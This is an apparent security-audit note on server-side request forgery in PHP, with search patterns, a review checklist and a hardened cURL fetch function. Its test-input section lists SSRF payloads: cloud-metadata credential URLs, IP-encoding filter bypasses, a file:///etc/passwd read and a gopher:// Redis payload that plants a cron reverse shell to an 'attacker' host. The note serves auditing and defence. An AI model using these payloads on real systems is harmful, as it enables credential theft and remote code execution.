These notes are public, opinionated, and evolving — read abdelkader.ma for the long-form posts.

SSRF in PHP

PHP apps make outbound HTTP for webhooks, link previews, OAuth callbacks, image proxies, “import from URL” features, RSS readers, embed generators, and a hundred other patterns. When the destination is user-controlled and the host isn’t allowlisted, the attacker reaches anything the app server can reach.

Why

Same-network surface usually exposed:

  • Internal services bound to 127.0.0.1 / private RFC1918 ranges
  • Cloud metadata: 169.254.169.254 (AWS IMDSv1, GCP, Azure)
  • Same-host control planes: Docker unix:///var/run/docker.sock, k8s apiserver, Consul/Vault agents
  • Internal-only admin panels behind perimeter firewalls
  • Other tenants in a multi-tenant deployment

PHP’s specific footguns are the breadth of functions that speak URLs and the variety of wrappers cURL knows about.

Search patterns

# Direct HTTP / socket calls
rg -n 'file_get_contents\(|fopen\(|fsockopen\(|stream_socket_client\(|get_headers\(|getimagesize\(' --type=php
 
# cURL — the most common SSRF surface
rg -n 'curl_init\(|curl_setopt\(.*CURLOPT_URL|curl_exec\(' --type=php
 
# HTTP clients
rg -n '(new\s+(GuzzleHttp\\\\Client|Client))|->(get|post|put|patch|delete|request|head)\s*\(' --type=php
rg -n 'Http::|HttpClient::|->send\(\s*\$request' --type=php
 
# WordPress
rg -n 'wp_remote_(get|post|head|request)\(' --type=php

Test inputs

Direct internal targets:

  • http://127.0.0.1/
  • http://127.0.0.1:6379/ (Redis)
  • http://127.0.0.1:11211/ (Memcached)
  • http://127.0.0.1:9200/ (Elasticsearch)
  • http://127.0.0.1:2375/ (Docker — usually exposes containers list)
  • http://localhost:8080/
  • http://[::1]/
  • http://0.0.0.0/

Cloud metadata:

  • http://169.254.169.254/latest/meta-data/ (AWS IMDSv1)
  • http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • http://metadata.google.internal/computeMetadata/v1/ (GCP — requires Metadata-Flavor: Google header, but some apps forward request headers)
  • http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Azure — requires Metadata: true header)

Filter bypasses:

  • Decimal IP: http://2130706433/ = 127.0.0.1
  • Hex IP: http://0x7f000001/
  • Octal IP: http://0177.0.0.1/
  • IPv4-mapped IPv6: http://[::ffff:7f00:1]/
  • Mixed: http://[::ffff:127.0.0.1]/
  • Userinfo trick: http://allowed.com@127.0.0.1/
  • Open redirect chaining: point URL at an attacker-controlled host that 302-redirects to the internal IP
  • DNS rebinding: TTL=0 records where the first lookup returns a public IP, the second returns 127.0.0.1
  • Trailing dot to break naive host matchers: http://internal.local./

Other wrappers (when cURL or fopen allows them):

  • file:///etc/passwd
  • gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0d%0a%0a%0a*/1+*+*+*+*+bash+-i+>%26+/dev/tcp/attacker/4444+0>%261%0a%0a%0a%0d%0a%0d%0a%0d%0a$4%0d%0aexec%0d%0a*4%0d%0a$3%0d%0aset%0d%0a$10%0d%0acrackit%0d%0a$23%0d%0a%0a%0a%2a/1+%2a+%2a+%2a+%2a+bash+-i+%3E&+/dev/tcp/attacker/4444+0%3E&1%0a%0a%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$10%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a%0a%0a (Redis-via-gopher RCE via cron)
  • dict://127.0.0.1:6379/info

Audit focus

For each outbound HTTP / socket call:

  1. Source of the URL / host — attacker controlled? Webhook URL stored in DB by an earlier flow also counts — admin or tenant SSRF chains.
  2. Protocol restriction — is CURLOPT_PROTOCOLS set to CURLPROTO_HTTP | CURLPROTO_HTTPS? Without it, file://, gopher://, dict:// reach the call.
  3. Redirect following — is CURLOPT_FOLLOWLOCATION = true? Naive host allowlists are bypassed via attacker-controlled 302.
  4. DNS resolution — resolved once and re-checked, or resolved by the HTTP client (DNS rebinding-vulnerable)?
  5. Response visibility — does the response leak back to the user (oracle for blind SSRF + cloud metadata leakage)? Even error messages that include the upstream response body are enough.
  6. Headers forwarding — does the app forward request headers (e.g. Host, Metadata, X-aws-ec2-metadata-token) to the upstream? AWS IMDSv2 requires X-aws-ec2-metadata-token; without it the call fails.

AWS IMDSv2 (token-based) blocks most naive SSRF against EC2 metadata. If the target uses IMDSv2 and enforces it (HttpTokens=required), the metadata path is dead. Check the instance’s metadata options.

Fix

Allowlist explicit hostnames where possible. For genuinely arbitrary URLs:

function safe_fetch(string $url): string {
  $parts = parse_url($url);
  if (!in_array($parts['scheme'] ?? '', ['http', 'https'], true)) {
    throw new RuntimeException("bad scheme");
  }
 
  $host = $parts['host'] ?? '';
  $ip   = gethostbyname($host);
  if ($ip === $host) throw new RuntimeException("dns failed");
 
  if (filter_var($ip, FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    throw new RuntimeException("private IP");
  }
 
  $ch = curl_init();
  curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS,
    CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS,
    CURLOPT_RESOLVE => ["{$host}:80:{$ip}", "{$host}:443:{$ip}"],   // pin DNS
    CURLOPT_TIMEOUT => 5,
  ]);
  $resp = curl_exec($ch);
  curl_close($ch);
  return $resp;
}

CURLOPT_RESOLVE pins the IP you validated, killing DNS rebinding. CURLOPT_FOLLOWLOCATION = false kills redirect-based bypass.